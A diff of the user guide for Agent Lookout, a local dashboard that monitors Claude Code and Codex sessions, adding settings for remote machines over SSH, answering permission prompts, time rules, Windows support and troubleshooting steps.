+A notification, an email or a post is sent for four events: a session starting to wait, finishing, failing or ending, and, with the [time rules](#time-rules) on, also a reminder of a long wait and a summary of quiet hours. Only Claude Code sessions and sessions from a status file can be seen waiting. A Claude Code session that is not a background job does not say how it ended, so it sends Ended, never Finished or Failed. A Claude Code background job that starts and ends between two runs of the `claude` command, which is run every 30 seconds, leaves the list before the command lists it as finished, so it too sends Ended. A session from a Codex older than 0.155 is never shown as finished, so it sends Ended when it leaves the list, a day after it was last used. With no dashboard tab open, notifications are shown on a Mac only. Those come from Script Editor, unless Agent Lookout runs as the [desktop app](#desktop-app), cannot open the session, and are not cleared when the session moves on.
 
 A Codex session never shows as needing you. Codex's session files do not record when it is waiting for your approval, so a Codex session that is waiting for you shows as working. Once it has written nothing for 5 minutes, its row says how long it has been [quiet](#quiet-for), which is the sign to look. A Claude Code session never says how long it has been quiet. A Codex session also appears only once its first prompt is sent, because Codex creates its file then. Past sessions the Codex desktop app imports from another agent appear only once you use them in Codex. A session from the Codex desktop app is named after its folder, because the app does not keep the titles it shows in the names file Agent Lookout reads.
 
@@ -954,16 +1275,20 @@ AGENT_LOOKOUT_CLAUDE_FEED=off npx agent-lookout
 | `AGENT_LOOKOUT_CLAUDE_BIN`     | The full path of the `claude` program. When set, it is the only place Agent Lookout looks.                                                                                                                                                                                                                                                                                 |
 | `AGENT_LOOKOUT_CLAUDE_HOME`    | A folder to read in place of `~/.claude`. When set, the `claude` command is not run unless `AGENT_LOOKOUT_CLAUDE_BIN` is set too.                                                                                                                                                                                                                                          |
 | `AGENT_LOOKOUT_CLAUDE_FEED`    | Set to `off` and Agent Lookout never runs the `claude` command. Sessions come from the session files alone, and finished or failed background jobs are not listed.                                                                                                                                                                                                         |
-| `AGENT_LOOKOUT_WAITING_TEXT`   | Set to `off` and Agent Lookout never opens a Claude Code transcript. A waiting session then shows its reason alone, without what it is asking.                                                                                                                                                                                                                             |
+| `AGENT_LOOKOUT_WAITING_TEXT`   | Set to `off` and Agent Lookout never opens a Claude Code transcript. A waiting session then shows its reason alone, without what it is asking, and so does one on [another machine](#another-machine-over-ssh).                                                                                                                                                            |
 | `AGENT_LOOKOUT_CODEX_HOME`     | A folder to read in place of the Codex folder. A folder with no `sessions` folder in it shows no Codex sessions.                                                                                                                                                                                                                                                           |
 | `CODEX_HOME`                   | Codex's own setting for where it keeps its files. When it is set, Agent Lookout reads that folder too, unless `AGENT_LOOKOUT_CODEX_HOME` is set.                                                                                                                                                                                                                           |
 | `AGENT_LOOKOUT_STATUS_DIR`     | A folder of [status files](#your-own-agents) to read in place of `~/.agent-lookout/sessions`.                                                                                                                                                                                                                                                                              |
 | `AGENT_LOOKOUT_HISTORY`        | Set to `off` and Agent Lookout keeps the Events log and the charts in memory only and writes nothing to disk, so they start empty each time it starts. See [History](#history).                                                                                                                                                                                            |
 | `AGENT_LOOKOUT_HISTORY_DIR`    | A folder to keep the [history](#history) in, in place of `~/.agent-lookout/history`.                                                                                                                                                                                                                                                                                       |
+| `AGENT_LOOKOUT_SETTINGS_FILE`  | A file to keep the [time rules](#time-rules) and the [permission rules](#permission-rules) in, in place of `~/.agent-lookout/settings.json`.                                                                                                                                                                                                                               |
 | `AGENT_LOOKOUT_NOTIFICATIONS`  | Set to `on` and, on a Mac, Agent Lookout shows notifications of waits itself from the moment it starts. A dashboard page that has notifications off turns them off again. Anywhere else it prints a line saying it shows none itself.                                                                                                                                      |
 | `AGENT_LOOKOUT_TMUX`           | Set to `off` and Agent Lookout never runs `tmux`. Sessions in tmux are still listed, without a Jump button.                                                                                                                                                                                                                                                                |
 | `AGENT_LOOKOUT_TERMINAL_JUMP`  | Set to `off` and Agent Lookout never looks for, or brings forward, a tab of Terminal or iTerm2. Sessions there are still listed, without a Jump button.                                                                                                                                                                                                                    |
 | `AGENT_LOOKOUT_STOP`           | Set to `off` and Agent Lookout never stops a session: no session has a Stop button, Left running has no End all…, and the server answers no request to stop one.                                                                                                                                                                                                           |
+| `AGENT_LOOKOUT_ANSWER`         | Set to `off` and Agent Lookout never answers a permission prompt: it opens no socket for the plugin, no session shows Allow or Deny, no [permission rule](#permission-rules) answers one, and the server answers no request to answer one.                                                                                                                                 |
+| `AGENT_LOOKOUT_ANSWER_SOCKET`  | The socket the [plugin](#install-the-plugin) sends permission requests to, in place of `~/.agent-lookout/answer.sock`. Set the same in the environment Claude Code starts with, so its hook finds it. With `AGENT_LOOKOUT_CLAUDE_HOME` set, nothing is answered unless this is set too.                                                                                    |
+| `AGENT_LOOKOUT_ANSWER_WAIT`    | How many seconds a permission request waits for Allow or Deny before the prompt in the session is left to decide, from 5 to 540. The default is 300.                                                                                                                                                                                                                       |
 | `AGENT_LOOKOUT_EMAIL_TO`       | The one address emails go to. With `AGENT_LOOKOUT_SMTP_URL` set too, it turns [email](#email) on.                                                                                                                                                                                                                                                                          |
 | `AGENT_LOOKOUT_SMTP_URL`       | The mail server emails go through, with the user name and password: `smtps://name:password@server:port`.                                                                                                                                                                                                                                                                   |
 | `AGENT_LOOKOUT_EMAIL_FROM`     | The address emails come from. The default is the address they go to.                                                                                                                                                                                                                                                                                                       |
@@ -975,11 +1300,13 @@ AGENT_LOOKOUT_CLAUDE_FEED=off npx agent-lookout
 | `AGENT_LOOKOUT_WEBHOOK_AFTER`  | How many seconds a wait lasts before it is posted, from 0 to 86400. The default is 60.                                                                                                                                                                                                                                                                                     |
 | `AGENT_LOOKOUT_WEBHOOK_ASKING` | Set to `on` and the post for a wait says what the session is asking, as `AGENT_LOOKOUT_EMAIL_ASKING` does for email. The default is `off`. See [Webhook](#what-a-waiting-session-is-asking-in-a-post).                                                                                                                                                                     |
 | `AGENT_LOOKOUT_PULL_REQUESTS`  | Set to `on` and Agent Lookout asks your own `gh` for each session's [pull request](#pull-requests) on github.com and its checks, and shows them. The default is `off`. With it on, the names of the repository and the branch go to GitHub, through `gh`, with `gh`'s own login. Any value but `on` or `off` leaves it off, and the card and the terminal name the setting |
+| `AGENT_LOOKOUT_REMOTES`        | Other machines to read over SSH, as `name=target`, separated by commas, such as `devbox=dev@devbox.local,gpu=gpu-vm:4800`. Unset, none is read. See [Another machine over SSH](#another-machine-over-ssh).                                                                                                                                                                 |
+| `AGENT_LOOKOUT_SSH_BIN`        | The full path of the `ssh` program used to reach those machines. When set, it is the only place Agent Lookout looks.                                                                                                                                                                                                                                                       |
 | `AGENT_LOOKOUT_URL`            | The address `agent-lookout status` and `agent-lookout mcp` ask, such as `http://127.0.0.1:4778`, in place of `http://127.0.0.1:4777` and then `http://localhost:5173`. Only an address on this computer is accepted. Set it where the command runs, not where Agent Lookout starts.                                                                                        |
 
 To see the empty screen, set `AGENT_LOOKOUT_CLAUDE_HOME`, `AGENT_LOOKOUT_CODEX_HOME`, `AGENT_LOOKOUT_STATUS_DIR` and `AGENT_LOOKOUT_HISTORY_DIR` to an empty folder. With only the first set, Codex sessions and sessions from status files still appear.
 
-The Claude Code, transcript, Codex, status file, history, notification, tmux, terminal tab, stop, email, webhook and pull request settings work with `npx agent-lookout` and `agent-lookout`, and in a clone with `npm start` and `npm run dev`. The port and address settings apply to `npx agent-lookout`, `agent-lookout` and `npm start`, and `AGENT_LOOKOUT_URL` to `agent-lookout status` and `agent-lookout mcp` only. To choose the port for `npm run dev`, pass it after `--`:
+The Claude Code, transcript, Codex, status file, history, settings file, notification, tmux, terminal tab, stop, other machine, email, webhook and pull request settings work with `npx agent-lookout` and `agent-lookout`, and in a clone with `npm start` and `npm run dev`. The port and address settings apply to `npx agent-lookout`, `agent-lookout` and `npm start`, and `AGENT_LOOKOUT_URL` to `agent-lookout status` and `agent-lookout mcp` only. To choose the port for `npm run dev`, pass it after `--`:
 
 ```sh
 npm run dev -- --port 5180
@@ -1006,12 +1333,12 @@ It prints `{"ok":true,"version":"0.2.1"}`, or a later version number. If you run
 
 `agent-lookout` on its own starts Agent Lookout from the built files, as `npm start` does: the dashboard and its API at `http://127.0.0.1:4777`, on this computer only. It prints `Agent Lookout is running at http://127.0.0.1:4777` and keeps running until you press Ctrl+C. `agent-lookout start` does the same.
 
-| Option            | What it does                                                                                                                                                                               |
-| ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
-| `--port <number>` | Listens on this port in place of 4777, such as `--port 4778`. `AGENT_LOOKOUT_PORT` does the same, and `--port` wins when both are given                                                    |
-| `--open`          | Opens the address in your default browser once it is listening, with `open` on macOS or `xdg-open` on Linux. If that cannot be done, it prints one line with the address and keeps running |
-| `--help`          | Prints the options of `agent-lookout`, `agent-lookout status` and `agent-lookout mcp`                                                                                                      |
-| `--version`       | Prints the version of Agent Lookout, such as `0.2.1`, and nothing else                                                                                                                     |
+| Option            | What it does                                                                                                                                                                                                          |
+| ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `--port <number>` | Listens on this port in place of 4777, such as `--port 4778`. `AGENT_LOOKOUT_PORT` does the same, and `--port` wins when both are given                                                                               |
+| `--open`          | Opens the address in your default browser once it is listening, with `open` on macOS, `xdg-open` on Linux or `rundll32.exe` on Windows. If that cannot be done, it prints one line with the address and keeps running |
+| `--help`          | Prints the options of `agent-lookout`, `agent-lookout status` and `agent-lookout mcp`                                                                                                                                 |
+| `--version`       | Prints the version of Agent Lookout, such as `0.2.1`, and nothing else                                                                                                                                                |
 
 Every other setting under [Settings you can change](#settings-you-can-change) works with it as with `npm start`. It ends with 0 when you press Ctrl+C, and with 1 when it cannot start, such as when the port is in use. Under `npx agent-lookout`, the shell reports the interrupt instead, as exit code 130.
 
@@ -1021,7 +1348,7 @@ In a clone, run `npm run build` and `npm link` once in the `agent-lookout` folde
 
 ## Desktop app
 
-Agent Lookout can also run as a Mac app: the same dashboard in a window of its own, with the collector running inside the app. The app opens no port, so nothing else on this computer can reach it. It needs no Node.js.
+Agent Lookout can also run as a Mac app: the same dashboard in a window of its own, with the collector running inside the app. The app opens no port, so nothing else on this computer can reach it. It keeps its rules in the same [settings file](#time-rules) as `npx agent-lookout`, though, and takes up a change to that file at its next poll, so a program running as you can change them by writing the file. It needs no Node.js.
 
 To install it, download the disk image for your Mac from the [latest release](https://github.com/Olanetsoft/agent-lookout/releases/latest) on GitHub: `Agent-Lookout-<version>-mac-arm64.dmg` for Apple silicon, or `Agent-Lookout-<version>-mac-x64.dmg` for Intel. About This Mac, in the Apple menu, shows which you have: a chip such as Apple M1 is Apple silicon, and a processor named Intel is Intel. Open the disk image and drag Agent Lookout to Applications. Keep it there: the app [updates itself](#updates) only from a folder it can change.
 
@@ -1051,6 +1378,7 @@ It behaves as a Mac app does:
 - Its icon in the menu bar shows the same count, and lists those sessions when you click it. Choose one to open its details. [Menu bar](#menu-bar) says more.
 - Settings… in the Agent Lookout menu, or Cmd+comma, opens the Settings view. The Help menu opens this guide.
 - Right-click selected text to copy it, or in the search field to cut, copy and paste.
+- [Resume](#resume-a-session) copies its command as it does in a browser. The window may write to the clipboard when you press a button that copies, and never reads it.
 - It opens where you left it, at the size you left it.
 - It keeps its [history](#history) in the same folder as `npx agent-lookout`, so the Events log and the charts carry over between the two.
 - Check for Updates…, in the Agent Lookout menu under About, checks for a newer version at once. [Updates](#updates) says how.
@@ -1113,6 +1441,12 @@ To see which program holds a port, on macOS or on Linux with `lsof` installed:
 lsof -nP -iTCP:4777 -sTCP:LISTEN
 ```
 
+On Windows, the process ID is in the last column of:
+
+```text
+netstat -ano | findstr :4777
+```
+
 ### No sessions appear
 
 1. Start a session and wait a few seconds. For Claude Code, run `claude` in a terminal. For Codex, run `codex` and send a prompt: a Codex session appears once its first prompt is sent.
@@ -1138,6 +1472,7 @@ Use `http://localhost:5173` if you started it with `npm run dev`. It prints the
 4. With a dashboard tab open, check that the page does not say Agent Lookout has stopped updating.
 5. With no dashboard tab open, Agent Lookout shows notifications itself on a Mac only, and only once a page that has notifications on has been open since Agent Lookout started, or when it was started with `AGENT_LOOKOUT_NOTIFICATIONS=on`. Those arrive as Script Editor's notifications, not your browser's.
 6. A session that was already waiting when you opened the page, or when Agent Lookout started, sends nothing, nor does one that had already finished. Wait for the next one, or check the Needs you panel.
+7. Check [Time rules](#time-rules) in Settings. During quiet hours nothing is shown until they end.
 
 ### No email arrives
 
@@ -1145,6 +1480,7 @@ Use `http://localhost:5173` if you started it with `npm run dev`. It prints the
 2. If it says the last email could not be sent, the reason says what went wrong: the user name and password, a server that did not answer, or one that refused the connection or the email. Check the server's name and port, that the address begins `smtps://` or `smtp://` as your provider says, and that the password is an app password, with its special characters written as described under [Email](#email). A server that refused the email often refuses the sender: if emails go to an address other than the one you sign in with, set `AGENT_LOOKOUT_EMAIL_FROM` to the address you sign in with.
 3. If it says where emails go and nothing more, no wait has lasted the delay since Agent Lookout started. A session that was already waiting when it started sends nothing.
 4. If it says when the last email was sent, the mail server took it. Look in the spam folder of the address the card shows.
+5. Check [Time rules](#time-rules) in Settings. During quiet hours no email goes until they end.
 
 ### No post arrives
 
@@ -1152,11 +1488,38 @@ Use `http://localhost:5173` if you started it with `npm run dev`. It prints the
 2. If it says the last post failed, the reason says what went wrong. An address that refused the post most often was copied wrong, or its webhook was removed or its channel archived: copy the address again from the service's settings. A redirect means the address is not the webhook's own. An address that did not answer in time, could not be found or had nothing answering is a problem with the network or with the service. A secure connection that failed most often means something on the network, such as a company proxy, stands between this computer and the service, or that this computer's clock is wrong. A connection that failed otherwise was cut off on the way: try again on another network.
 3. If it says where posts go and nothing more, no wait has lasted the delay since Agent Lookout started. A session that was already waiting when it started sends nothing.
 4. If it says when the last post went, the service took it. Check the channel the webhook was made for, and that the app is still allowed to post there.
+5. Check [Time rules](#time-rules) in Settings. During quiet hours no post goes until they end.
 
 ### No pull request shows
 
 Pull requests are off unless Agent Lookout was started with `AGENT_LOOKOUT_PULL_REQUESTS=on`. The Pull requests card in Settings says whether they are on, and whether `gh` was found and is signed in: run `gh auth status` in a terminal to check, and `gh auth login` to sign in. A session shows one only when its branch has a pull request on github.com, its repository's remote is on github.com, and the branch is not the default one and is not named with digits alone, such as `51`. A new pull request, or a check that has finished, shows within about 2 minutes. The Mac app opened from the Finder or the Dock gets none of your shell's settings: [Desktop app](#desktop-app) says how to give it one.
 
+### If a machine's card says Not connected
+
+A machine named in `AGENT_LOOKOUT_REMOTES` is read through ssh, then through Agent Lookout on that machine, so check each in turn. Its card in Sources says which went wrong, and what to do.
+
+1. In a terminal on this computer, run ssh as Agent Lookout does, with the target you named:
+
+   ```sh
+   ssh -o BatchMode=yes dev@devbox.local true
+   ```
+
+   It should end at once and print nothing. If it asks for a password or a passphrase, or whether to trust the host's key, or fails, Agent Lookout's ssh fails the same way: add your key to your ssh agent, or answer the question once in a plain `ssh dev@devbox.local`, then try again.
+
+2. On the other machine, check that Agent Lookout is running there:
+
+   ```sh
+   curl -s http://127.0.0.1:4777/api/health
+   ```
+
+   It should print `{"ok":true,"version":"…"}`. If nothing answers, start it there with `npx agent-lookout`. If it listens on another port there, give that port after the target here, `devbox=dev@devbox.local:4800`.
+
+3. If the card says `AGENT_LOOKOUT_SSH_BIN` names a program that cannot be run, correct it, or unset it to use the ssh on your `PATH`.
+
+4. If Sources has an Other machines card that says Not set up, `AGENT_LOOKOUT_REMOTES` could not be read: the card says which entry is wrong. Correct it and start Agent Lookout again.
+
+A machine that is switched off, or asleep, is Not connected until it is back, and is connected again on its own within a minute of that.
+
 ### The page says Agent Lookout has stopped updating
 
 The program serving the page has stopped. The page keeps the last thing it saw, under a notice that says how old it is, and its timers stop at the last moment it heard from Agent Lookout. Start it again with `npx agent-lookout`, or in a clone with `npm start` or `npm run dev`, and the page catches up on its own.
@@ -1173,7 +1536,7 @@ While a Claude Code session is running, Agent Lookout also asks tmux, if it is i
 
 For every session, whatever its agent, Agent Lookout looks for the git repository the session's folder is in: it looks for `.git` in the folder, then in each folder above it, and stops at the first, or before your home folder. It reads which [branch](#branches) is checked out from the repository's `HEAD` file, following the `.git` file of a worktree or a submodule to the folder that holds it. Which [repository](#repositories) the folder belongs to it works out from where those files are and, for a worktree, from the `commondir` file beside its `HEAD`, which names the repository's own git folder. It reads nothing else in the repository.
 
-Agent Lookout never writes to `~/.claude`, `~/.codex`, `~/.agent-lookout` or any git repository. [PRIVACY.md](../PRIVACY.md) lists every file it reads and every command it runs, and what it keeps from each. [ARCHITECTURE.md](ARCHITECTURE.md) explains how the files and the command are checked against each other.
+Agent Lookout never writes to `~/.claude`, `~/.codex`, the folder of status files (`~/.agent-lookout/sessions`) or any git repository. In `~/.agent-lookout` it writes only its own history, `settings.json` and the socket `answer.sock`. [PRIVACY.md](../PRIVACY.md) lists every file it reads and every command it runs, and what it keeps from each. [ARCHITECTURE.md](ARCHITECTURE.md) explains how the files and the command are checked against each other.
 
 ## For contributors